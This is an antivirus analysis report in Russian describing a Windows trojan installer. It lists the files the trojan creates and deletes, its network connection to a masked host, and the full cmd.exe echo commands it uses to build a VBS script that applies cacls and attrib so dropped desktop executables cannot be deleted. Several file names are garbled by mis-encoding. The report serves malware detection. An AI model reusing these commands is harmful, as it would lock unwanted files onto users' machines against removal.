Техническая информация
Вредоносные функции:
Для затруднения выявления своего присутствия в системе
блокирует отображение:
- расширений файлов
Создает и запускает на исполнение:
- '%TEMP%\nsk3.tmp\ns13.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo WshShell.Run ("cacls """ ^& path ^& """ /e /c /r %USERNAME%"), vbHide
- '%TEMP%\nsk3.tmp\ns14.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo WshShell.Run ("cacls """ ^& path ^& """ /e /c /r users"), vbHide
- '%TEMP%\nsk3.tmp\ns12.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo WshShell.Run ("cacls """ ^& path ^& """ /e /c /r %USERNAME%s"), vbHide
- '%TEMP%\nsk3.tmp\ns10.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo Set wshNetwork = WScript.CreateObject("WScript.Network")
- '%TEMP%\nsk3.tmp\ns11.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo WshShell.Run ("attrib """ ^& path ^& """ +r +s"), vbHide
- '%TEMP%\nsk3.tmp\ns15.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo WshShell.Run ("cacls """ ^& path ^& """ /e /c /r system"), vbHide
- '%TEMP%\nsk3.tmp\ns19.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo End Sub
- '%TEMP%\nsk3.tmp\ns1A.tmp' cmd.exe /c %WINDIR%/6642.vbs
- '%TEMP%\nsk3.tmp\ns18.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo Set WshShell = Nothing
- '%TEMP%\nsk3.tmp\ns16.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo WshShell.Run ("cacls """ ^& path ^& """ /e /c /r user"), vbHide
- '%TEMP%\nsk3.tmp\ns17.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo WshShell.Run ("cacls """ ^& path ^& """ /e /c /r """ ^& wshNetwork.UserName ^& """"), vbHide
- '%TEMP%\nsk3.tmp\nsF.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo Set WshShell= CreateObject("WScript.Shell")
- '%TEMP%\nsk3.tmp\ns7.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo Dim fso,TestFile
- '%TEMP%\nsk3.tmp\ns8.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo Set fso=CreateObject("Scripting.FileSystemObject")
- '%TEMP%\nsk3.tmp\ns6.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo On Error Resume Next
- '%TEMP%\nsk3.tmp\ns4.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo Call CreateNoDelete("%HOMEPATH%\Desktop/МФ±¦№єОп.exe")
- '%TEMP%\nsk3.tmp\ns5.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo Private Sub CreateNoDelete(path)
- '%TEMP%\nsk3.tmp\ns9.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo Set TestFile=fso.CreateTextFile(path,Ture)
- '%TEMP%\nsk3.tmp\nsD.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo Private Sub RefusalFileDelete(path)
- '%TEMP%\nsk3.tmp\nsE.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo On Error Resume Next
- '%TEMP%\nsk3.tmp\nsC.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo End Sub
- '%TEMP%\nsk3.tmp\nsA.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo TestFile.Close
- '%TEMP%\nsk3.tmp\nsB.tmp' cmd.exe /c >>%WINDIR%/6642.vbs echo Call RefusalFileDelete(path)
Запускает на исполнение:
- '<SYSTEM32>\cacls.exe' "%HOMEPATH%\Desktop/Њ”+іьуЋЇ.exe" /e /c /r system
- '<SYSTEM32>\cacls.exe' "%HOMEPATH%\Desktop/Њ”+іьуЋЇ.exe" /e /c /r users
- '<SYSTEM32>\cacls.exe' "%HOMEPATH%\Desktop/Њ”+іьуЋЇ.exe" /e /c /r "%USERNAME%"
- '<SYSTEM32>\cacls.exe' "%HOMEPATH%\Desktop/Њ”+іьуЋЇ.exe" /e /c /r user
- '<SYSTEM32>\attrib.exe' "%HOMEPATH%\Desktop/Њ”+іьуЋЇ.exe" +r +s
- '<SYSTEM32>\wscript.exe' "%WINDIR%\6642.vbs"
- '<SYSTEM32>\cacls.exe' "%HOMEPATH%\Desktop/Њ”+іьуЋЇ.exe" /e /c /r %USERNAME%
- '<SYSTEM32>\cacls.exe' "%HOMEPATH%\Desktop/Њ”+іьуЋЇ.exe" /e /c /r %USERNAME%s
Изменения в файловой системе:
Создает следующие файлы:
- %TEMP%\nsk3.tmp\nsC.tmp
- %TEMP%\nsk3.tmp\nsB.tmp
- %TEMP%\nsk3.tmp\nsD.tmp
- %TEMP%\nsk3.tmp\nsF.tmp
- %TEMP%\nsk3.tmp\nsE.tmp
- %TEMP%\nsk3.tmp\nsA.tmp
- %TEMP%\nsk3.tmp\ns6.tmp
- %TEMP%\nsk3.tmp\ns5.tmp
- %TEMP%\nsk3.tmp\ns7.tmp
- %TEMP%\nsk3.tmp\ns9.tmp
- %TEMP%\nsk3.tmp\ns8.tmp
- %TEMP%\nsk3.tmp\ns17.tmp
- %TEMP%\nsk3.tmp\ns16.tmp
- %TEMP%\nsk3.tmp\ns18.tmp
- %TEMP%\nsk3.tmp\ns1A.tmp
- %TEMP%\nsk3.tmp\ns19.tmp
- %TEMP%\nsk3.tmp\ns15.tmp
- %TEMP%\nsk3.tmp\ns11.tmp
- %TEMP%\nsk3.tmp\ns10.tmp
- %TEMP%\nsk3.tmp\ns12.tmp
- %TEMP%\nsk3.tmp\ns14.tmp
- %TEMP%\nsk3.tmp\ns13.tmp
- %WINDIR%\6642.vbs
- %HOMEPATH%\Favorites\µзЖчЖµµА.lnk
- %HOMEPATH%\Favorites\Е®ИЛЖµµА.lnk
- %HOMEPATH%\Favorites\ѕУјТНжѕЯ.lnk
- %HOMEPATH%\Favorites\ДРИЛЖµµА.lnk
- %HOMEPATH%\Favorites\КэВлЖµµА.lnk
- %HOMEPATH%\Favorites\ЙМіЗЖµµА.lnk
- %HOMEPATH%\Favorites\МФ±¦ґЩПъ.lnk
- %TEMP%\nsr2.tmp
- %HOMEPATH%\Favorites\МФ±¦»К№Ъ.lnk
- %HOMEPATH%\Favorites\МЁНеЖµµА.lnk
- %HOMEPATH%\Favorites\ЧЫєПЖµµА.lnk
- %HOMEPATH%\Desktop\МФ±¦№єОп.exe
- %HOMEPATH%\Desktop\ЗйЙ«µзУ°.exe
- %TEMP%\nsk3.tmp\nsRandom.dll
- %TEMP%\nsk3.tmp\ns4.tmp
- %TEMP%\nsk3.tmp\nsExec.dll
- %TEMP%\nsk3.tmp\System.dll
- %HOMEPATH%\Favorites\КіЖ·ЖµµА.lnk
- %HOMEPATH%\Favorites\ГАИЭЖµµА.lnk
- %HOMEPATH%\Favorites\КОЖ·Р¬°ь.lnk
- %TEMP%\nsk3.tmp\InetLoad.dll
- %HOMEPATH%\Favorites\јТЧ°ЖµµА.lnk
Удаляет следующие файлы:
- %TEMP%\nsk3.tmp\ns13.tmp
- %TEMP%\nsk3.tmp\ns14.tmp
- %TEMP%\nsk3.tmp\ns12.tmp
- %TEMP%\nsk3.tmp\ns10.tmp
- %TEMP%\nsk3.tmp\ns11.tmp
- %TEMP%\nsk3.tmp\ns15.tmp
- %TEMP%\nsk3.tmp\ns19.tmp
- %TEMP%\nsk3.tmp\ns1A.tmp
- %TEMP%\nsk3.tmp\ns18.tmp
- %TEMP%\nsk3.tmp\ns16.tmp
- %TEMP%\nsk3.tmp\ns17.tmp
- %TEMP%\nsk3.tmp\nsF.tmp
- %TEMP%\nsk3.tmp\ns7.tmp
- %TEMP%\nsk3.tmp\ns8.tmp
- %TEMP%\nsk3.tmp\ns6.tmp
- %TEMP%\nsk3.tmp\ns4.tmp
- %TEMP%\nsk3.tmp\ns5.tmp
- %TEMP%\nsk3.tmp\ns9.tmp
- %TEMP%\nsk3.tmp\nsD.tmp
- %TEMP%\nsk3.tmp\nsE.tmp
- %TEMP%\nsk3.tmp\nsC.tmp
- %TEMP%\nsk3.tmp\nsA.tmp
- %TEMP%\nsk3.tmp\nsB.tmp
Сетевая активность:
Подключается к:
- 'do##.##tup.cpadown.com':8080
UDP:
- DNS ASK do##.##tup.cpadown.com
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
